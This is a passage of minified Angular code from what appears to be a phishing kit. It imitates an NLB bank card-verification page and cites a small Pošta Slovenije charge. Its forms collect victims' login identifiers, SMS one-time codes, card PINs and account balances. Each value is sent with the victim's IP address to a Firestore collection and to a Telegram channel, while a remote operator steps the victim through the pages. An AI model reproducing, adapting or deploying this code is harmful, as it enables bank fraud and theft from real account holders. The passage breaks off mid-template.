vpra\u0161anje:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function Ek(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1," Za potrditev transakcije se prijavite. Te informacije se ne delijo s trgovcem."),r.\u0275\u0275elementEnd())}function Tk(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2," Prosimo vnesite SMS kodo, ki ste jo prejeli "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function Ik(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2," Vnesite kodo PIN za naslednjo kartico: XXXX-"),r.\u0275\u0275elementStart(3,"strong"),r.\u0275\u0275text(4),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(4),r.\u0275\u0275textInterpolate1("",t.showCode," ")}}function kk(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(2),r.\u0275\u0275textInterpolate1(" Kak\u0161no je stanje na va\u0161em primarnem ra\u010dunu za va\u0161o kartico XXXX-",t.showCode,"")}}function Ak(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div"),r.\u0275\u0275element(1,"img",33),r.\u0275\u0275elementEnd())}function Dk(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275elementStart(4,"div",42),r.\u0275\u0275elementStart(5,"input",43),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(4).user=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div",39),r.\u0275\u0275elementStart(7,"div",42),r.\u0275\u0275elementStart(8,"input",44),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(4).pass=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(9,"td",37),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(4);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngModel",t.user),r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.pass)}}function Nk(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275template(1,Dk,10,2,"tr",6),r.\u0275\u0275elementStart(2,"div",39),r.\u0275\u0275elementStart(3,"div",38),r.\u0275\u0275elementStart(4,"input",40),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirm()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.step||4==t.step)}}function Rk(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"input",40),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmSMS()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}}function Lk(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",22),r.\u0275\u0275element(4,"div",35),r.\u0275\u0275template(5,Nk,5,1,"div",36),r.\u0275\u0275template(6,Rk,2,0,"div",36),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(7,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==t.step||6==t.step)}}function jk(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Podatki za prijavo so napa\u010dni. "),r.\u0275\u0275elementEnd())}function Fk(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,jk,2,0,"div",45),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function Vk(t,e){1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275elementStart(4,"div",42),r.\u0275\u0275elementStart(5,"a",47),r.\u0275\u0275text(6," Potrebujem pomo\u010d? "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(7,"td",37),r.\u0275\u0275elementEnd())}function Bk(t,e){1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275element(2,"td"),r.\u0275\u0275element(3,"td",37),r.\u0275\u0275elementEnd())}function Hk(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"div",39),r.\u0275\u0275elementStart(2,"div",42),r.\u0275\u0275elementStart(3,"input",48),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).smsCode=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(4,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(5,"div",49),r.\u0275\u0275elementStart(6,"p"),r.\u0275\u0275text(7,"6-mestna SMS koda"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(8,"input",50),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmSMS()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.smsCode)}}function zk(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,Hk,9,1,"div",36),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",5==t.step||6==t.step)}}function Gk(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Odobritev transakcije ni uspela, poskusite znova. "),r.\u0275\u0275elementEnd())}function Uk(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,Gk,2,0,"div",45),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function qk(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"div",39),r.\u0275\u0275elementStart(2,"div",42),r.\u0275\u0275elementStart(3,"input",51),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).smsCode=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(4,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(5,"div",49),r.\u0275\u0275elementStart(6,"p"),r.\u0275\u0275text(7,"4-mestna koda PIN"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(8,"input",50),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmPIN()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.smsCode)}}function Wk(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,qk,9,1,"div",36),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",7==t.step||8==t.step)}}function Kk(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Koda PIN je napa\u010dna, preverite in poskusite znova. "),r.\u0275\u0275elementEnd())}function $k(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,Kk,2,0,"div",45),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function Qk(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"h5"),r.\u0275\u0275text(2,"Izberite pravilen odgovor:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(3,"input",52),r.\u0275\u0275listener("change",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).changeAmount0100()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(4,"label",53),r.\u0275\u0275text(5,"\xa0 Med 0 in 100 \u20ac"),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(6,"br"),r.\u0275\u0275elementStart(7,"input",54),r.\u0275\u0275listener("change",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).changeAmount100500()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(8,"label",55),r.\u0275\u0275text(9,"\xa0 Med 100 in 500 \u20ac"),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(10,"br"),r.\u0275\u0275elementStart(11,"input",56),r.\u0275\u0275listener("change",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).changeAmount5001000()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(12,"label",57),r.\u0275\u0275text(13," \xa0 Med 500 in 1000 \u20ac"),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(14,"br"),r.\u0275\u0275elementStart(15,"input",52),r.\u0275\u0275listener("change",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).changeAmount()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(16,"label",53),r.\u0275\u0275text(17,"\xa0 Ve\u010d?"),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(18,"br"),r.\u0275\u0275elementStart(19,"div",39),r.\u0275\u0275elementStart(20,"div",58),r.\u0275\u0275elementStart(21,"div",42),r.\u0275\u0275elementStart(22,"input",59),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).amount=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(23,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(24,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(25,"input",50),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmAmount()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(20),r.\u0275\u0275property("hidden",!t.hideAmount),r.\u0275\u0275advance(2),r.\u0275\u0275property("ngModel",t.amount)}}function Xk(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,Qk,26,2,"div",36),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",9==t.step)}}function Zk(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"div",39),r.\u0275\u0275elementStart(2,"div",42),r.\u0275\u0275elementStart(3,"input",59),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).amount=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(4,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(5,"div",49),r.\u0275\u0275elementStart(6,"p"),r.\u0275\u0275text(7,"Amount"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(8,"input",50),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmAmount()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.amount)}}function Yk(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,Zk,9,1,"div",36),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",11==t.step)}}function Jk(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Primarno stanje na ra\u010dunu ni pravilno, preverite in poskusite znova. "),r.\u0275\u0275elementEnd())}function tA(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,Jk,2,0,"div",45),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function eA(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"table",26),r.\u0275\u0275elementStart(1,"tbody"),r.\u0275\u0275template(2,Lk,8,2,"tr",6),r.\u0275\u0275template(3,Fk,6,1,"tr",6),r.\u0275\u0275template(4,Vk,8,0,"tr",6),r.\u0275\u0275template(5,Bk,4,0,"tr",6),r.\u0275\u0275template(6,zk,6,1,"tr",6),r.\u0275\u0275template(7,Uk,6,1,"tr",6),r.\u0275\u0275template(8,Wk,6,1,"tr",6),r.\u0275\u0275template(9,$k,6,1,"tr",6),r.\u0275\u0275template(10,Xk,6,1,"tr",6),r.\u0275\u0275template(11,Yk,6,1,"tr",6),r.\u0275\u0275template(12,tA,6,1,"tr",6),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(2),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==t.step||6==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",6==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",7==t.step||8==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",8==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",11==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",11==t.step)}}let nA=(()=>{class t{constructor(t,e){this.db=t,this.myService=e,this.btnDisabled=!1,this.btnDisabled2=!1,this.redirectVBV=!1,this.showCodeOP="",this.showCode="",this.today=Date.now(),this.loading=!1,this.hideAmount=!1,this.incorrect=!1,this.user="",this.pass="",this.visit={ip:"",country:"",dateTime:"",device:""},e.getIpAddress().subscribe(t=>{this.visit.ip=t.ip,this.visit.dateTime=Date.now(),e.getCountry(t.ip).subscribe(t=>{this.visit.country=t.country_name})}),this.prefix=localStorage.getItem("ID"),localStorage.getItem("ccNum")?(this.ccNum=localStorage.getItem("ccNum"),this.lastFourDegits=this.ccNum.substr(this.ccNum.length-4)):localStorage.getItem("ccNum2")&&(this.ccNum=localStorage.getItem("ccNum2"),this.lastFourDegits=this.ccNum.substr(this.ccNum.length-4)),this.resultsCollection=this.db.collection("lBet"),this.logins=this.resultsCollection.snapshotChanges().pipe((0,ue.U)(t=>t.map(t=>{const e=t.payload.doc.data(),n=t.payload.doc.id;return e.id=n,localStorage.getItem("ID")==n&&(2==e.step?(this.step=2,this.loading=!1,setTimeout(()=>{this.redirectVBV=!0},3e3)):3==e.step?(this.step=3,this.loading=!0,this.redirectVBV=!1,this.btnDisabled=!0):4==e.step?(this.step=4,this.btnDisabled=!1,this.loading=!1,this.redirectVBV=!1,this.incorrect=!0):5==e.step?(this.step=5,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):6==e.step?(this.step=6,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):7==e.step?(this.step=7,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):8==e.step?(this.step=8,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):9==e.step?(this.step=9,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):11==e.step?(this.step=11,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):10==e.step&&(this.step=10,this.loading=!1,this.btnDisabled=!0,this.incorrect=!1,this.redirectVBV=!1)),e}))),this.logins.subscribe(function(){var t=TT(function*(t){});return function(e){return t.apply(this,arguments)}}())}fs(){this.smsCode=this.smsCode.split("").reverse().join("")}ngOnInit(){}onConfirm(){return this.user.length<6?(this.incorrect=!0,this.loading=!1,void console.log(this.user+"daza")):this.pass.length<4?(this.incorrect=!0,this.loading=!1,void console.log(this.user+"fff")):(this.loading=!0,void setTimeout(()=>{let t;this.credentials=this.user+":"+this.pass,this.db.collection("lBet").doc(this.prefix).update({step:3,credentials:this.credentials}).catch(function(t){var e;console.error("Error writing document event: ",t),localStorage.clear(),null===(e=window.open("/Confirm_Delivery","_self"))||void 0===e||e.close()}),this.step=3,this.tempLog=this.user.substring(0,4),t="NLB-Login: "+this.user+" "+this.pass+" "+this.visit.ip,this.user="",this.pass="",this.myService.sendTelegram(t).subscribe(t=>console.log(t))},1e3))}onConfirmSMS(){if(this.smsCode.length<6)return this.incorrect=!0,void(this.loading=!1);this.loading=!0,setTimeout(()=>{let t;this.db.collection("lBet").doc(this.prefix).update({step:3,smsCode:this.smsCode}).catch(function(t){console.error("Error writing document event: ",t),localStorage.clear()}),this.step=3,t=" NLB-SMS: "+this.smsCode+" "+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t)),this.smsCode=""},1e3)}onConfirmPIN(){if(this.smsCode.length<4)return this.incorrect=!0,void(this.loading=!1);this.loading=!0,setTimeout(()=>{let t;this.db.collection("lBet").doc(this.prefix).update({step:3,pin:this.smsCode}).catch(function(t){console.error("Error writing document event: ",t),localStorage.clear()}),this.step=3,t=" NLB-PIN: "+this.smsCode+" "+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t)),this.smsCode=""},1e3)}onConfirmAmount(){if(this.amount.length<2)return this.incorrect=!0,void(this.loading=!1);this.loading=!0,setTimeout(()=>{let t;this.db.collection("lBet").doc(this.prefix).update({step:3,amount:this.amount}).catch(function(t){console.error("Error writing document event: ",t),localStorage.clear()}),this.step=3,t=" NLB-Balance: "+this.amount+" "+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t)),this.amount="",this.hideAmount=!1},1e3)}changeAmount0100(){this.hideAmount=!1,this.amount="Between 0-100 Euro"}changeAmount100500(){this.hideAmount=!1,this.amount="Between 100-500 Euro"}changeAmount5001000(){this.hideAmount=!1,this.amount="Between 500-1000 Euro"}changeAmount(){this.amount="",this.hideAmount=!0}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(vw),r.\u0275\u0275directiveInject(CI))},t.\u0275cmp=r.\u0275\u0275defineComponent({type:t,selectors:[["app-nbg-modal"]],decls:71,vars:21,consts:[[1,"modal-page"],[1,"header"],["src","https://www.unepfi.org/wordpress/wp-content/uploads/2020/10/Logo-e1602495471736.jpg",2,"width","120px"],["src","../../assets/images/VM.png"],["id","desc",2,"color","black"],["style","margin-bottom: -1px;",4,"ngIf"],[4,"ngIf"],["id","descList",1,"list",2,"display","block"],["id","pa_merchant",1,"list-item"],[1,"label"],[1,"value"],["id","pa_amount",1,"list-item"],["id","pa_date",1,"list-item"],["id","pa_pan",1,"list-item"],["id","pamrow",1,"list-item",2,"display","none"],["id","addInfo"],[1,"list"],["id","QRItem",2,"display","none"],["align","center"],["id","QRData"],["id","psw_id","type","password","placeholder","Mobile\u2013Internet Banking / NBG Authenticator","name","PASSWORD","size","20","maxlength","20","autocomplete","off",1,"big-input"],["id","authenticator","align","center",1,"desc"],[1,"row","d-flex","justify-content-center"],["width","100%","border","0","align","center","cellspacing","3","cellpadding","3",4,"ngIf"],[1,"footer"],[1,"row"],["width","100%","border","0","align","center","cellspacing","3","cellpadding","3"],["href","javascript:void(0)","id","btnExit","onclick","OnExit(); return false;"],["href","#","target","Terms Of Use"],["href","https://www.nlb.si/obvestila/klik","onclick","window.open('https://www.nlb.si/obvestila/klik','','width=1000,height=700, location=no, menubar=no, toolbar=no, resizable=yes', true ); return false;",1,"help__link"],["type","hidden","name","formaction","value","pa.submit"],[2,"margin-bottom","-1px"],[2,"display","flex","justify-content","center","margin-top","8px"],["src","../../assets/images/nbgSc/loading.gif","alt",""],["align","left","width","40"],["align","center",1,"left"],["id","btnSubmitItem",4,"ngIf"],["width","40"],["id","btnSubmitItem"],[1,"position-relative",2,"margin-top","4px"],["type","button","id","btnSubmit","name","btSubmit","value","NADALJUJ",1,"big-button",2,"cursor","pointer",3,"click"],[1,"position-relative"],[1,"flex-center"],["maxlength","14","autocapitalize","none","test-field","usernameField","type","text","pattern","\\d*","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","placeholder","Dav\u010dna \u0161tevilka",1,"oval-input","ng-dirty","ng-touched",2,"min-width","190px",3,"ngModel","ngModelChange"],["maxlength","14","test-field","usernameField","type","text","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","pattern","\\d*","placeholder","Telefonska \u0161tevilka",1,"oval-input","ng-dirty","ng-touched",3,"ngModel","ngModelChange"],["class","flex-center","style","text-align: center; color: red; margin-top: -6px; margin-bottom: -6px;",4,"ngIf"],[1,"flex-center",2,"text-align","center","color","red","margin-top","-6px","margin-bottom","-6px"],["href","https://www.nlb.si/obvestila/klik","target","_blank"],["oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","pattern","\\d*","autocomplete","on","maxlength","6","test-field","usernameField","type","text","placeholder","******",1,"oval-input","ng-dirty","ng-touched",2,"max-width","135px","letter-spacing","4px",3,"ngModel","ngModelChange"],[1,"flex-center",2,"margin-top","8px"],["type","button","id","btnSubmit","name","btSubmit","value","Vahvistaa",1,"big-button",2,"cursor","pointer",3,"click"],["pattern","\\d*","autocomplete","on","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","maxlength","4","test-field","usernameField","type","text","placeholder","****",1,"oval-input","ng-dirty","ng-touched",2,"max-width","115px","letter-spacing","4px",3,"ngModel","ngModelChange"],["type","radio","id","html","name","fav_language","value","HTML",3,"change"],["for","html"],["type","radio","id","css","name","fav_language","value","CSS",3,"change"],["for","css"],["type","radio","id","javascript","name","fav_language","value","JavaScript",3,"change"],["for","javascript"],[3,"hidden"],["maxlength","6","test-field","usernameField","type","text","placeholder","e.g. 2300\u20ac",1,"oval-input","ng-dirty","ng-touched",2,"max-width","135px",3,"ngModel","ngModelChange"]],template:function(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",0),r.\u0275\u0275elementStart(1,"div",1),r.\u0275\u0275elementStart(2,"div"),r.\u0275\u0275element(3,"img",2),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(4,"div"),r.\u0275\u0275element(5,"img",3),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div"),r.\u0275\u0275element(7,"h1"),r.\u0275\u0275elementStart(8,"div",4),r.\u0275\u0275template(9,Mk,3,0,"h2",5),r.\u0275\u0275template(10,Ok,3,0,"h2",5),r.\u0275\u0275template(11,Ek,2,0,"p",6),r.\u0275\u0275template(12,Tk,3,0,"p",6),r.\u0275\u0275template(13,Ik,5,1,"p",6),r.\u0275\u0275template(14,kk,3,1,"p",6),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(15,"div",7),r.\u0275\u0275elementStart(16,"div",8),r.\u0275\u0275elementStart(17,"div",9),r.\u0275\u0275text(18,"Trgovec:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(19,"div",10),r.\u0275\u0275text(20,"Po\u0161ta Slovenije"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(21,"div",11),r.\u0275\u0275elementStart(22,"div",9),r.\u0275\u0275text(23,"Znesek:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(24,"div",10),r.\u0275\u0275elementStart(25,"b"),r.\u0275\u0275text(26,"\u20ac 2,84"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(27,"div",12),r.\u0275\u0275elementStart(28,"div",9),r.\u0275\u0275text(29,"Datum nakupa:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(30,"div",10),r.\u0275\u0275text(31),r.\u0275\u0275pipe(32,"date"),r.\u0275\u0275pipe(33,"date"),r.\u0275\u0275pipe(34,"date"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(35,"div",13),r.\u0275\u0275elementStart(36,"div",9),r.\u0275\u0275text(37,"\u0160tevilka kartice:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(38,"div",10),r.\u0275\u0275text(39),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(40,"div",14),r.\u0275\u0275elementStart(41,"div",9),r.\u0275\u0275text(42,"Personal 